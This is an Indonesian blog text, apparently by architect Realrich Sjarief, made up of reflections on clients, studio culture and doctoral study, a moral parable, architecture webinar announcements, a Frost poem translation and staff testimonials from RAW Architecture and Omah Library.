Ia menjelaskan bahwa sebenarnya kami perlu mempertanyakan apa yang kami mau raih, di antara menjadi terkenal ataupun tidak terkenal, ada maksud masing – masing yang kontekstual dengan kebutuhan dan keinginan, juga persiapan. Ia berkata bahwa, penting untuk memiliki kawan untuk bertukar pikiran, jangan maju gegabah ke sebuah peperangan, menjadi terkenal ataupun tidak terkenal tidak masalah asalkan ada kebersamaan. Segala hal perlu disiapkan, sistematika pemikiran, ekonomi, hubungan relasi, dan hal – hal yang mendasar supaya begitu kamu terjun, kamu akan berprestasi. Dan pada akhirnya ia menitipkan ke kami, dan ingat tidak semua orang bisa menghargai karya kamu, yang terpenting, kamu harus bisa menunjukkan kenapa satu karya itu lebih unggul dari yang lain, dengan bukti, dan semua pembuktian itu membutuhkan waktu.
Batu Andesit yang disusun dengan pengaturan yang natural, kesan tidak teratur namun teratur, pola dalam kebersahajaan sesuai dengan karakter kesederhanaan. Dan pada akhirnya ia menitipkan ke kami, dan ingat tidak semua orang bisa menghargai karya kamu, yang terpenting, kamu harus bisa menunjukkan kenapa satu karya itu lebih unggul dari yang lain, dengan bukti, dan semua pembuktian itu membutuhkan waktu.Foto bersama Djonny Taslim di rumah yang didesain di Danau Biru, sebuah konsep rumah kommunal yang dilanjutkan di dalam konsep rumah di Bukit Golf, mengenai hidup bersama – sama, sebuah konsep harmoni. Pertemuan kali ini berlangsung kira – kira hari rabu, 3 hari yang lalu. Saya masih mengendapkan, bahwa memang kami, Eric, Om Djonny, dan saya sendiri, berelasi dan kami perlu untuk saling mendukung satu sama lain, dan hal tersebut diwarnai saat – saat makan bersama di pagi hari di Danau Biru.
Pikiran saya kembali ke masa 2011, rumah Om Djonny dibangun dalam jangka waktu hampir 5 tahun, dan 9 tahun kemudian, baru kami berkumpul bersama, dan Eric ada disitu untuk memotret bagaimana rumah ini selesai dari tahun 2017. Waktu menjawab soal kualitas relasi, keutuhan, dan rasa kesabaran dari hanya hubungan klien dan arsitek. Pertemuan itu berlangsung kira – kira hari rabu, 3 hari yang lalu. Saya masih mengendapkan jawaban dan pertanyaan yang muncul, bahwa memang kami, Eric, Om Djonny, dan saya sendiri, berelasi dan kami perlu untuk saling mendukung satu sama lain, dan hal tersebut diwarnai saat – saat makan bersama di pagi hari di Danau Biru. . Sore ini Laurensia mengirimkan cerita ini ke saya : . Seorang Anak Muda sedang membersihkan aquarium Paman nya, ia memandang ikan arwana agak kebiruan dengan takjub.. Tak sadar Pamannya sudah berada di belakangnya .. “Kamu tahu berapa harga ikan itu?”. Tanya sang Paman.. . “Tidak tahu”. Jawab si Anak Muda.. . “Coba tawarkan kepada tetangga sebelah!”. Perintah sang Paman. . la memfoto ikan itu dan menawarkan ke tetangga .. Kemudian kembali menghadap sang Paman.. “Ditawar berapa ?” tanya sang Paman. . “50.000 Rupiah Paman”. Jawab si Anak Muda dengan mantap. . “Coba kau tawarkan ke toko ikan hias!!”. Perintah sang Paman lagi. . “Baiklah Paman”. Jawab si Anak Muda. Kemudian ia beranjak ke toko ikan hias.. . “Berapa ia tawar ikan itu?”. Tanya sang Paman. . “800.000 Rupiah Paman”. Jawab si Anak Muda dengan gembira, ia mengira sang Paman akan melepas ikan itu. . “Sekarang coba kau tawarkan ke Juragan Joni Rahman (nama – penamaan cerita ini tidak ada kaitan dengan Djonny Taslim ataupun siapapun, saya hanya menampilkan mentah – mentah cerita yang dikirimkan Laurensia)
, bawa ini sebagai bukti bahwa ikan ini sudah pernah ikut lomba”. Perintah sang Paman lagi. “Baik Paman”. Jawab si Anak Muda. Kemudian ia pergi menemui Pak Joni yang dikatakan Pamannya. Setelah selesai, ia pulang menghadap sang Paman. . “Berapa ia menawar ikannya?”. “50 juta Rupiah Paman”. la terkejut sendiri menyaksikan harga satu ikan yang bisa berbeda-beda. . “Nak, aku sedang mengajarkan kepadamu bahwa kamu hanya akan dihargai dengan benar ketika kamu berada di lingkungan yang tepat”. “Kita semua adalah orang biasa dalam pandangan orang-orang yang tidak mengenal kita”. “Kita adalah orang yang menarik di mata orang yang memahami kita”. “Kita istimewa dalam penglihatan orang-orang yang mencintai kita”. “Kita ada lah pribadi yang menjengkelkan bagi orang yang penuh kedengkian terhadap kita”. “Kita adalah orang jahat di dalam tatapan orang-orang yang iri akan kita”. Pada akhirnya, setiap orang memiliki pandangannya masing masing terhadap kita, maka tak usahlah bersusah payah supaya kelihatan baik dimata orang.
Tapi berusahalah terus melakukan kebaikan dan menjalankan apapun dengan keikhlasan.
Refleksi ini muncul secara paralel di dalam wacana perbincangan arsitektur soal Nusantara dari Altrerosje Asri dan Johannes Adiyanto soal pentingnya membuka diri dan pentingnya merendahkan hati untuk bercermin kepada situasi – situasi yang membuat manusia perlu untuk beradaptasi dan mempertanyakan pemikirannya sendiri, bahwa perubahan itu ada, tidak ada yang sempurna, mari belajar kembali. Dari mereka berdua ada sebuah kegelisahan untuk melangkah maju, termasuk dialog dengan Eric Dinardi dan Djonny Taslim, termasuk Joan.
Cerita – cerita di atas ini setidaknya membuktikan satu hal, bahwa terkadang waktu bisa menjawab segalanya, dan memang Tuhan bekerja dengan caranya yang indah dan misterius untuk mempertemukan jiwa – jiwa yang gelisah.
Cerita – cerita di atas ini setidaknya membuktikan satu hal, bahwa terkadang waktu bisa menjawab segalanya, dan memang Tuhan bekerja dengan caranya yang indah dan misterius untuk mempertemukan jiwa – jiwa yang gelisah.
Lalu ada suara yang hangat menyapa,
“makanya bangun, dan hari ini jangan lupa berdoa ya, dan membuka dirimu terhadap hal – hal yang baru”
Terima kasih Himpunan Mahasiswa Arsitektur Swarnapada ITERA sudah mengundang untuk berbicara mengenai kejujuran di dalam arsitektur. Yang menarik adalah acara ini saatnya untuk menampilkan substansi yang otentik dengan dasar setiap arsitek perlu untuk berbuat radikal di dalam praktiknya. Lalu apa arti radikal di dalam praktik yang sebenarnya sifatnya situasional, bentang proyek terlihat dinamis di dalam hubungannya terhadap brief klien, perubahan metode – metode dan hasrat arsitek untuk melakukan inovasi.
Di dalam kuliah ini, saya akan mencoba membagi – bagi apa itu arti dari kejujuran, dan apa saja dampak positif yang timbul di dalam karya yang terdesain, hubungan antara dengan klien, tim, dan apresiasi dari publik terhadap karya arsitektur yang ditimbulkan.
Setiap momentum berbagi adalah sebuah saat untuk merefleksikan diri dengan kritis, berbagi adalah saat- saat membagi semangat kepada adik – adik kita, yang semoga bisa meneruskan tongkat estafet menjadi arsitek yang baik, juga jujur.
Himpunan Mahasiswa Arsitektur Swarnapada ITERA kembali hadir melanjutkan rangkaian acara Aurora 2.0, Webinar akan dilaksanakan dengan tema “Kejujuran dalam Arsitektur”. Webinar kali ini kita mengundang praktisi arsitektur yang akan membahas topik menarik, bersama: •Realrich Sjarif (RAW architecture) •Andy Rahman (andyrahmanarchitect) •I Ketut Dirgantara (DDAP architect)
Kami juga mengundang akademisi arsitektur dari ITERA yaitu Pak Rendy Perdana Khidmat yang akan mengisi seminar bertema “Kehidupan Berarsitektur: Studi di Luar Negeri”
📌Mark the date!📌 Webinar dilaksanakan pada: 22-25 September 2020
[BIAYA] Early Bird 20k Reguler 35k segera daftar pada link berikut: bit.ly/seminarAURORA
Thank u @himarsunikom, I will share how to have fun, get inspiration, talking about passion, starting firm, facing failures, and servicing clients, then nurturing next generation of avant garde architects wholeheartly . “THE PROCESS OF BECOMING AN ARCHITECT” . Haloo teman teman semua, Sebagai penggiat arsitektur muda, kiranya kita harus dapat menelaah dan mengetahui seluk beluk dunia Arsitektur sedari awal hingga menjadi arsitek. Oleh sebab itu, maka HIMARS UNIKOM mewadahinya melalui sebuah webinar berdasarkan hal tersebut. . Free entry & limited slot. . Untuk pendaftaran webinar, dapat melalui link https://forms.gle/nnXXb7eJufB5f3CUA. (link tertera di bio @himarsunikom) . Free E-certificate . Untuk info lebih lanjut silakan hubungi : Indra Hidayatullah = 081615482776 Muhammad Al Fariz = 082124618743 Via WhatsApp (Text only) .himarsunikom, weproud, webinararsitektur, architecture, arsitekturjawabarat, salamkami
Pada 31 Agustus 2020, Arsitektur Pradita University mengadakan kuliah tamu bersama arsitek profesional Realrich Sjarief, IAI.
Beliau merupakan founder dari RAW (Realrich Architecture Workshop). Beliau lulusan dari Architecture Design Institut Teknologi Bandung (ITB) dan untuk gelar masternya di University of New South Wales (UNSW) dengan Urban Design and Development.
Minggu depan, kuliah S3 dimulai. Ada 3 mata kuliah yang saya ambil, pertama adalah mata kuliah wajib metodologi penelitian yang diampu oleh Professor Iwan Sudrajat, dan kolokium yang diampu oleh Professor Sugeng Triyadi, dan Dr. Ir. Himasari Hanan. Yang kedua adalah filsafat ilmu pengetahuan yang diampu Professor Bambang Sugiharto.
The Road Not Taken – Jalan yang tidak diambil, Puisi dari Robert Frost.
Yang menarik adalah kenapa saya mengambil studi S3 ini, apakah ada waktunya ? lalu apa yang dicari ? Saya ingat satu kawan taruhlah namanya Abramovic menanyakan, atau bukan menanyakan tapi memberikan pernyataan yang cukup aneh mungkin terkesan punya presumsi tertentu,
“elo niat banget sih – semua mau – kantor mau / bikin buku mau / anak banyak mau / sekolah terus mau hehehehee 👍🏼👍🏼👍🏼👏🏼👏🏼👏🏼”
mungkin pernyataan pertama “kantor mau” itu muncul dari observasi kawan saya ini bahwa saya sudah membuat studio Realrich Architecture Workshop (dikenal dengan nama RAW Architecture), dimana studio tersebut adalah tempat saya dan anak – anak saya bereksperimen. Kami berusaha untuk terus bereksplorasi, bertanya, dan mencoba mencari tahu mengenai kemungkinan – kemungkinan eksplorasi. Menurut saya yang menarik adalah membongkar kondisi kata “mau” sebagai predikat dan objectnya “kantor”.
Pernyataan kedua “bikin buku mau”, lebih kepada observasi kawan saya ini akan saya dan kawan – kawan sudah membuat beberapa buku di Omah Library, tempat dimana kami membuka wacana – wacana yang diskursif. Dimana buku – buku tersebut adalah hasil dari proses dialog – dialog yang ada, satu arah, dua arah, ataupun tiga arah, arah – arah tersebut ada di dalam perspektif orang yang lain yang dibangun dengan repetisi yang saling membangun.
Pernyataan ketiga “anak banyak mau”, berkaitan dengan kelahiran Heaven anak kami yang kedua (lihat artikel “Heavenrich Selamat Datang Surga”), setelah beberapa kali mencoba dan tidak kunjung berhasil. Disini mungkin perlu dilihat perjuangan Laurensia di dalam menahan suntikan demi suntikan, ataupun, proses – proses kehilangan buah hati kami yang membawa rasa syukur akhirnya Heaven lahir dan menjadi kesayangan kakaknya juga.
Pernyataan keempat “sekolah terus mau”, muncul dari observasi terhadap kemauan untuk bersekolah (saya coba balikkan kalimatnya). Hal ini dikaitkan dengan mungkin usaha mahasiswa untuk mendapatkan gelar S “3 (atau saya simpelnya berbicara kadang es tung tung)” dimana hal tersebut menjadi salah satu tolak ukur sebagai pengajar. Proses tersebut adalah proses menemukan diri, dengan membongkar tatanan dengan sistematis, dan menyusun ulang dengan sistematis. Bu Himasari berkata pada sebuah saat tatap muka, “S3 itu bukan proses problem solving, tapi proses menemukan ilmu baru dengan pembacaan obyek yang diteliti.”
Saya merefleksikan darimana saya mendapatkan kondisi pemikiran untuk mau bersekolah kembali untuk meneguhkan kemauan diri supaya bisa berjalan sampai selesai (titik). Mungkin saya mencari sebuah oase perhentian, tempat untuk berpikir, berhenti sejenak, dan tempat untuk menilai, mendiskusikan, menambal, dan mengikis jelaga dari apa yang sudah dipikirkan, lakukan, rasakan. Mungkin manusia itu sebenarnya hanya menjadi jembatan yang berkelindan di antara dirinya dan orang lain, lalu kalau ditanya maunya apa, “kita berbagi kondisi – kondisi yang sama, dan juga berbeda, namun dari kesamaan tersebut kita bisa berbagi tentang matahari dan bulan yang sama dan meninggalkan bayangan yang berbeda – beda.
Kawan saya yang lain di satu saat Johannes Adiyanto mengirimkan pesan,
“beberapa teman yg ty sy ttg s3, selalu sy tanya, mo ngapain s3? cr pamor, ato cari apa? klo sekedar sibuk dan demi karir dosen… siap2….siap2 sakit semua badan, krn yg dikejar gak terlihat mas,perlu dari dalam sendiri, lha jenengan skrg dalamnya adalah suwung dan pasrah, ini modal, tp perlu ‘api’, ya itu tadi… pertaruhkan semuanya….” – Johannes Adiyanto
Teringat dahulu di dalam perjalanan karir di negeri Kuda Besi (kawan saya, yang lama tidak saya jumpai Marissa Aviana menyebut), dimana keputusan diambil dengan pertaruhan. Dan saya pikir, banyak orang juga mempertaruhkan banyak keputusan – keputusan dalam hidup masing – masing, dan kondisi – kondisi yang memicu pertaruhan tersebut membuat kita sedang berbagi tentang matahari dan bulan yang sama dan meninggalkan bayangan yang berbeda – beda.
Ini adalah tulisan saya sebelumnya tentang berbagi jalan, yang saya lampirkan juga puisi dari Robert Frost sebagai tempat refleksi :
“Dari hari senin sampai kamis ia harus ke puskesmas, dari pagi jam 6 pagi sampai jam 9 malam. juga hari jumat dan sabtu. Terkadang kemudian kita bercerita hal – hal yang biasa, namun selalu membuat hal – hal yang biasa menjadi luar biasa dengan tertawa. Ternyata kita masih bisa tersenyum dibalik kesibukan yang luar biasa…”
The Road Not Taken – Jalan yang tidak diambil.
“Dua jalan bercabang dalam remang hutan kehidupan,
Dan sayang aku tidak bisa menempuh keduanya
Dan sebagai pengembara, aku berdiri lama
Dan memandang ke salah satu jalan sejauh aku bisa
Ke mana arahnya mengarah di balik semak belukar
Kemudian aku memandang yang jalan yang lain, sama bagusnya,
Dan mungkin malah lebih bagus,
Karena jalan itu segar dan mengundang
Meskipun tapak yang telah melewatinya
Juga telah merundukkan rerumputannya
Dan pagi itu keduanya sama – sama membentang
Di bawah hamparan dedaunan rontok yang belum terusik.
Oh kusimpan jalan pertama untuk kali lain!
Meski tahu semua jalan berkaitan
Aku ragu akan pernah kembali
Aku akan menuturkannya sambil mendesah
Suatu saat berabad – abad mendatang;
Dua jalan bercabang di hutan, dan aku,…
Aku menempuh jalan yang jarang dilalui,
Dan itu mengubah Segalanya.”Robert Frost [1916]
Dan seketika saya, tersadar, ternyata masih ada pernyataan terakhir dari kawan saya satu lagi itu yang mungkin memiliki presumsi, menyisakan Pernyataan kelima “hehehehee 👍🏼👍🏼👍🏼👏🏼👏🏼👏🏼” yang saya anggap sikap sebagai kawan dan dukungan untuk perjalanan yang akan dimulai, dengan gestur terkekeh – kekeh.
dan memang hal itu mengubah segalanya, menjadi begitu menyenangkan :) .
lalu,
“Dang Dut Time !” mumpung sepi ngga ada yang liat, hi hi. Ayo jalan, ga usah dipikirin kaya ngga ada kerjaan aja.
Es lilin adalah makanan penyegar berupa es dengan batang kayu sebagai alat untuk dipegang.Hal ini seperti permisalan seperti es (S) 1, es (S) 2, es (S) 3. sebuah bentuk yang baku seperti lilin yang dicetak siap untuk disajikan. Ia bisa mencair, yang dinikmati bersama sesuai selera. bisa jadi semakin ditambah S nya akan semakin membeku mulut kita, atau apabila dinikmati perlahan – lahan, rasa beku tersebut akan melumer dan nikmat dimulut lengkap dengan jus jeruk, durian, nangka, stroberi, kopyor, atau yang lainnya sesuai selera) yang diberi batang kayu lalu dibekukan.
“Dalam tradisi lisan, Arsitek melibatkan semua entitas yg [di]hadir[kan]. Arsitek sbg koordinator atas semua entitas yg hadir. Pdhl masing2 entitas punya tingkat pemahaman yg beda2 satu sama lain dalam menafsir (cerita) arsitektur yg sama. Bagaimana menghadirkan keutuhan & kesatuan arsitektur, shg arsitektur bs diibaratkan sebagai orkestrasi yg terpadu antar masing2 entitas … memainkan improvisasinya masing2.” – Pudji P Wismantara
Kalimat di atas di atas dilontakan dari Pak Pudji P Wismantara mengenai cerita di dalam sesi presentasi mengenai Cerita Nusantara yang dibawakan oleh Anas Hidayat.
Dari diskusi yang terjadi sebenarnya yang dibahas adalah adalah soal dialog di dalam melihat berbagai pandangan, Arsitektur seperti karya sastra, bukan menulis karya ilmiah, menulis hal – hal yang konotatif ataupun denotatif, menulis simbol – simbol yang harus diisi, dan menjadi proses berkarya yang hidup. Hal inilah yang kemarin dibicarakan oleh Johannes Adiyanto soal dialog, ia mengelaborasi ini kedalam bentuk Trialog.
Cerita Pak Eddy Bahtiar tentang prosesnya di dalam The Guild, Guha, dan Mekarwangi
Edy Bahtiar yang saya kenal adalah seseorang yang telah banyak membantu saya sejak pembangunan rumah Istakagrha, Mekarwangi, sampai ke proyek The Guild – Guha. Video ini adalah arsip untuk proses ketukangan yang sedang dijalankan di dalam studio di rentang tahun 2016 – 2017 – 2018 (tengah). Sekarang proses ini masih berjalan.
Data ini sebenarnya bertujuan untuk mendengarkan suara langsung dari dimensi tukang. Ada persepsi – persepsi yang khas dengan persepsi langsung dari Edy. Di dalam proses pembangunan, seluruh hasil memerlukan pertimbangan matang, terukur, dan pertimbangan dari insinyur struktur, MEP, dan saya sendiri untuk sebuah eksperimen arsitektur. Sebagai arsip data – data ini dibutuhkan oleh kawan saya Johannes Adiyanto yang menyusun sebuah konstelasi yang dinamakan Alfa menuju Omega, sebuah Trialogi Praksis.
Ini babak – babak yang ada di dalam video :
00.10 – Sebelum pak Eddy bergabung
07.30 – Cerita membuat 3 bentuk piramida – tumpang sari
12.20 – Tantangan demi tantangan
19.30 – Clue Catenary (membentuk pintu lengkung)
24.30 – Proses hampir selesai – 99 % proses bersama – sama 3
3.50 – Sebuah kemungkinan
Kita kembali ke diskusi Cerita Nusantara, saya ingat, Mas Nurudin pun menyambut dengan pernyataan tentang dialog di diskusi tersebut
“Arsitek mungkin bisa diibaratkan memberikan cerita awal. Barulah dari cerita awal tersebut masukan2 muncul terkait cerita itu. Tanpa cerita itu mungkin tidak ada dialog dan masukan. Seperti ngobrol di angkringan itu. Arsitek bisa menjadi “pemantik” obrolan. Arsitektur tidak mendominasi tapi justru membuka obrolan. cair sifatnya kalau digital saya bayangkan mirip wikipedia. cair. terbuka. semua boleh ikut edit. Hanya saja mungkin yang perlu dipikirkan bagaimana menjaga akurasi informasi di era digital yang sangat masif arus informasinya (?)” – Nurudin
Kehidupan di dalam proyek cukup kompleks, dengan setiap orang memiliki posisi masing – masing, posisi arsitek, tukang, klien, kritikus, tukang, tetangga, dan begitu banyak posisi – posisi yang lain.
Aku adalah dia dia adalah aku, Prof. Oka Sarasvati membahas ini di dalam dialog di dalam bentuk tattwamasi. Tat twam asi berarti “itu adalah kau”. “Kau” di sini mengacu pada substrat yang tak lepas dari setiap individu. Hal tersebut bukanlah tubuh, pikiran, pancaindra, atau sesuatu yang dapat teramati. Hal tersebut adalah sesuatu yang paling dasar, jauh dari segala sifat keakuan. Dalam pengertian ini, “kau” berarti atman. Entitas yang dimaksud dengan kata “itu”, menurut Weda, adalah Brahman, realitas yang melampaui segala sesuatu yang terbatas. Intinya Tat twam asi adalah dia adalah aku, dan aku adalah dia.
Titik utamanya adalah adalah bagaimana membangun dialog yang saling merajut, seperti air yang mengalir.
Kemudian saya terkejut, ketika merasakan air mandi di satu hari di Mekarwangi-Piyandeling.
Kami mendapatkan email dari Aisling Cowley dari Dezeen, tentang kabar baik untuk studio RAW Architecture. Jadi studio kami mendapatkan nominasi (long listed) berarti daftar panjang untuk arsitek yang “emerging”. yang berarti, baru muncul ( Emerging bisa berarti : becoming apparent or prominent.”established and emerging artists”).
Saya meminta anak – anak untuk menuliskan kesan – pesan di Studio. Ini pesan saya ke anak – anak sebagai harapan dan refleksi proses perjalanan kami, dan saya tuliskan disini dengan harapan untuk membangun kultur studio saling berdialog.
“Hi (guys)…tolong kasih pesan dan kesan ya, semoga bisa jadi harapan yang baik untuk proses yang terjadi.”
“Realrich Sjarief : bagaimana bisa trialog, kalau dialog saja tidak pernah dilakukan Jo Adiyanto: hahahaha…. bagaimana bercinta…. berkenalan saja antipati…..”
Paguyuban Spirit – I had learned that architecture is sacred, and is all about collaboration process. Our team consists of dedicated craftsmen, young designer, many of them are brothers, sisters, friends for life. None of these was of more use to me than the call for long lasting relationship. If any Outlier wished to be successful in his place, we helped them to rise, which all who were within hearing answered yes to the bright future of all of my fellow family. Then the nature will call of reciprocal rules, that every kind people deserve to be succesful, effort should be noted, and thanked for. It will be appreciated. That is the beautiful side of monumental architecture, that is creating memories for all of the people’s in.
Alifian adalah kepala studio RAW Architecture, dan ada beberapa orang yang juga memberikan kesan pesan tentang studio.
Alifian Kharisma – “kultur studio RAW tidak lepas dari karakteristik seorang kak rich. yang tangkas, mendidik, dan passionateful. dari ribuan jam sy di studio rasanya selalu ada hal baru menanti. ‘there is no problems if new one arrives every minute’. kutipan di ppt raw introduction yg selalu sy bacakan buat para staff baru dan anak magang. ini kesan saya yang pertama. Bekerja seperti belajar berenang, kadang dibimbing, kadang dilepas. kalau tenggelam ada yg ngangkat ke permukaan lagi. kak rich dan para senior itu mentor sy untuk berenang. kak rich pun masih belajar dengan guru dan tingkatan yg berbeda. seiring pengalaman, saya juga harus menjadi mentor untuk yg lebih muda. kesan yang kedua yaitu: setiap orang di studio ini punya kepribadian masing2 yg unik. punya skill skill yg tidak terduga, jago bola, musik, jago joget, jago kerajinan tangan, dll. orang orang datang dan pergi. mereka punya kesan masing2 bahkan untuk orang yg cuma punya waktu 1 hari di studio. 😆. dari sini saya bersyukur kenal macam macam orang.”
Fadiah – “26 September 2020 nanti tepat 4 tahun saya bergabung dengan RAW Architecture. Bukan waktu yang sebentar tapi juga masih sangat dini dalam berkarir di dunia arsitektur. Untuk saya pribadi, proses pendewasaan dan perubahan pola pikir saya banyak terjadi dalam masa-masa tersebut. Saya beruntung dipertemukan oleh teman-teman dengan karakter unik yang akhirnya banyak membuka pikiran saya. Dunia arsitektur sangat luas cakupannya. Dulu saya kira dengan saya tidak mahir dalam mendesain … saya tidak bisa melanjutkan karir saya di bidang arsitektur. Tapi setelah saya masuk …, saya menemukan kenyamanan dalam pola kerjanya. Menggambar detail, mencari solusi untuk lapangan, diskusi dengan principal sampai mandor, mengenal material, dll. Memperhatikan proses dalam mewujudkan bentuk dari gambar ke bentuk nyata di lapangan memberi kepuasan sendiri untuk saya, …”
Vivi Yani Santosa – “Bagi saya RAW itu studio yang besar dan hebat, bangga bisa termasuk di dalamnya. Besar karena bisa memberi impact kebanyak orang (tukang2, kami yang ada di studio, dan Kak Rich n fam) buat sama2 belajar dan memberikan apa yang terbaik dalam diri ke orang luar (klien, keluarga, org sekitar spt Bang Yus, ataupun org lain yang baca artikel dari RAW atau OMAH). Hebat karena ada proses give and take, bisa berusaha membuka lapangan pekerjaan buat banyak tukang, termasuk membuat koneksi ke kontraktor … jg sesuatu yg hebat karena jadi sama-sama belajar dan membuka diri ke orang lain untuk saling percaya. Pastinya RAW jauh dari sempurna tapi saya merasa ada proses berjalan ke arah yang lebih baik lagi dan itu baik :) Disini saya jg merasa bisa belajar untuk lebih berani mencoba banyak hal, menyuarakan ide / potensi diri, mendapat feedback, belajar untuk memiliki komunikasi yang baik (ke tukang, ke teman, ke kak Rich), dan keberanian untuk mengambil tanggung jawab lebih (karena apa yang dikerjakan pasti menyangkut ke orang berikutnya ataupun ke pekerjaan lapangan). Belajar juga kalau ada hal yang lebih fatal daripada kesalahan yaitu tidak mencoba atau malu bertanya…RAW harus terus maju tanpa memusingkan perkataan orang lain tapi mendengarkan saran yang membangun, jangan terlalu tergesa2 dalam semua hal, tp terus maju ke arah yang lebih baik…”
Thomas Andrean Santoso – “Hal yang paling berkesan selama di RAW adalah ruang untuk belajar. RAW adalah ruang untuk belajar mulai dari teknikal hingga hal mendasar yg bersifat attitude dan semangat. Attitude dan semangat tersebut mulai dari semangat belajar, semangat kesejawatan, dan semua halnya untuk membuat karya yang semaksimal baik dan benar. Idealis memang, tapi itu yang saya rasa perlukan untuk bisa dikembangkan. Pesan untuk RAW dan OMAH untuk tetap semangat berbagi dengan insan arsitektur di Indonesia.”
Timbul Arianto- “Selama bekerja di RAW saya menemukan banyak sekali hal baru yang belum pernah sama sekali djalani, banyak insight baru, baik dari segi design maupun implementasi. RAW memberikan ruang dan memberikan kesempatan untuk seorang Freshgaduate seperti saya untuk dapat berkembang dan menemukan jati diri, mengenali diri. Bekerja di RAW melatih seorang individu untuk berfikir taktis mampu memilah-milah, mengenali, dan menyelesaikan masalah (problem) karna untuk mengenali masalah saja dibutuhkan knowledge yang cukup. Ekosistem yang terbentuk sekarang di RAW mengharuskan untuk setiap individu memiliki inisiatif dan berkapasitas besar, untuk saya sendiri hal ini cukup menarik dan menantang, melihat betapa dinamisnya jenis pekerjaan dan metode penyelesaiannya sehingga memunculkan berbagai excitement tertentu terlepas dari berbagai obstacle yang dihadapi. Saya sendiri menilai ini sangat baik jika boleh saya refleksikan terhadap diri saya untuk dapat berkembang dan memperoleh skill yang mumpuni, seperti belajar di sekolah favorit yang terus terpacu oleh diri sendiri yang terus berkontemplasi, berimajinasi dan berfantasi… saya sendiri yakin bahwa RAW banyak sekali berkontribusi terhadap pembentukan individu-individu yang sudah pernah dan sedang terlibat ikut serta dalam proses berkaryanya. segala yang baik akan terus dijalankan, dikembangkan, dan dilestarikan oleh setiap orang, …”
Riswanda Setyo Addino– “Hal yang menarik ketika ditempatkan pada kondisi lapangan yang dikatakan oleh orang Indonesia ‘tidak akan sama dengan teori’. Namun disini saya menemukan bahwa pendapat itu seharusnya mulai ditambahi ‘namun dengan teori yang fundamental kita bisa menata pikiran untuk menyelesaikan sebuah kasus secara rapi dan meminimalisir efek samping.’. Karena pada dasarnya yang menciptakan apa yang disebut sebagai ‘teori’ adalah praktisi juga namun dengan konteks yang berbeda. Namun konteks tersebut jika dirinci memiliki variable yang bisa jadi memiliki beberapa kesamaan dengan konteks yang kita hadapi. Sehingga ‘teori’ yang kita implementasikan nantinya hibridasi dari dua konteks, sehingga kita bisa mengatakannya sebagai ‘teori’ baru ke orang lain. Sehingga ‘teori’ tersebut sah-sah saja untuk digugat dan diuji dan pasti berbeda dengan situasi lainnya. Bisa jadi dari waktu, musim, insiden, kualitas manusia, tingkat referensi, dan tentunya teknologi…”
Agustin (Meimei) – “Beberapa hal yang didapat dari studio, yaitu saya belajar bagaimana untuk membuat keputusan, berkomunikasi dan berkoordinasi bersama tim, subkon, supplier, dan lainnya. Jujur lebih banyak pengalaman yang didapatkan di studio dibanding dengan di kampus. Untuk sistem yang sekarang dimana saya duduk di dekat kak Rich, awalnya membuat saya gugup. Tapi setelah mengalami, banyak hal yang malah membuat ekspektasi saya mental. Duduk di dekat kak Rich membuat masalah yang ada langsung terpecahkan. Memudahkan berdiskusi mengenai desain ataupun teknis. Saya juga dapat banyak pelajaran baru.”
Riko Yohanes– “RAW merupakan studio arsitektur yang progressif. Sebuah studio yang terus berkembang. Karenanya disini selalu terdapat ilmu-ilmu baru, sebuah tempat yang cocok untuk belajar menjadi seorang arsitek. Disini saya belajar tentang kemandirian dalam cara berpikir. Tentang bagaimana cara untuk tidak selalu disuapi dalam hal berpikir. Saya dituntut untuk memahami lebih dalam setiap permasalahan dan bagaimana men-solusikan setiap permasalahan secara mandiri yang kemudian di diskusikan bersama-sama dengan team. Sebuah kemandirian yang harus dimiliki setiap arsitek apabila inging menjalani petualangannya sendiri (memiliki biro sendiri).Selain itu saya belajar bagaimana membentuk mental saya sebagai arsitek. Bagaimana saya, seorang lulusan freshgraduate harus menginstruksi para pekerja di lapangan yang lebih tua puluhan tahun, dan seolah-olah menggurui mereka, sebuah hal yang aneh tetapi tetap harus dilaksanakan demi keberlangsungan proyek. Kemudian, dalam permasalahan di lapangan, saya dituntut untuk belajar tetap tenang dalam menghadapi situasi yang urgent sekalipun, dan bersikap profesional untuk menjaga sikologi klien, sehingga disini mental saya terus diasah dan menjadikan saya lebih dewasa sebagai seorang arsitek…”
Arlene – “Kegiatan2 seperti makan siang dan makan malam bersama benar2 membangun kerja sama tim yg baik. Lalu yang paling berkesan adalah acara omah bittersweet krn menencourage orang2 untuk lebih lagi berjuang dan bertahan di industri arsitektur…”
Khafid– “Pelajaran berkesan yang saya dapatkan di kantor yaitu Berhubung saya masuk di divisi MK dan sering banyak kelapangan jadi saya lumayan cukup tahu bangaimana proses awal pekerjaan struktur pondasi, kolom, balok hingga selesai. setelah itu selesai selanjutnya, lanjut masuk mulai pekerjaan finishing disinilah saya harap saya mendapatkan hal baru yang sebelumnya saya belum pernah dengan tetap mengikutinya sehingga pengetahuan saya bukan hanya tentang struktur saja akan tetapi proses dari awal hingga endingnya atau sampai finishing selesai complete.”
Muhammad Alim Hanafi– “Pertama-tama saya bersyukur bisa dapat kesempatan belajar dan berkontribusi di RAW. Saya sangat merasakan bagaimana di RAW tidak hanya dituntut untuk bekerja saja, tapi juga untuk berkembang pada setiap individunya. Ekosistem pembelajarannya cukup terasa, seperti seolah pada tiap individu tim design dan build tertuntut untuk belajar dan ‘mengajar’ sesama…”
Dan saya juga meminta tim Omah Library untuk mengisi harapan tersebut sebagai bagian dari keluarga besar.
Amelia Mega– “Selama sekitar 8 bulan berada di OMAH Library, saya mempelajari dan melakukan banyak hal yang baru. Dari menulis manuskrip, wawancara, membuat acara, promosi, serta materi kuliah. Hal-hal tersebut kemudian mempertemukan saya kepada pengetahuan-pengetahuan baru (paling tidak bagi saya), dan mengetahui berbagai perbincangan tentang arsitektur yang kini sedang terjadi. Kesadaran ini kemudian turut membentuk persepsi-persepsi personal saya terhadap arsitektur, arsitek, dan ilmu yang melingkupinya. Saya merasa senang dan berterima kasih dapat melalui proses tersebut, karena kurang-lebih seperti itu yang saya bayangkan akan didapatkan saat mendaftar di OMAH…”
Dimas Dwi Mukti Purwanto– “Selama belajar dan bekerja di Omah Library memberikan pengalaman yang sangat berkesan bagi saya pribadi karena tempat ini benar – benar mampu membentuk pola pikir baru yang lebih baik bagi saya. Terlebih terkait tentang bagaimana cara bekerja secara profesional dengan mengetahui dengan benar beban pekerjaan yang harus diprioritaskan. Selain itu saya juga menambah skill menulis dan menemukan skill baru yaitu tentang bagaiman meriset hingga sedikit mampu melihat konteks yang kemudian dapat menentukan bagaimana tindakan yang relevan melalui kegiatan menulis…”
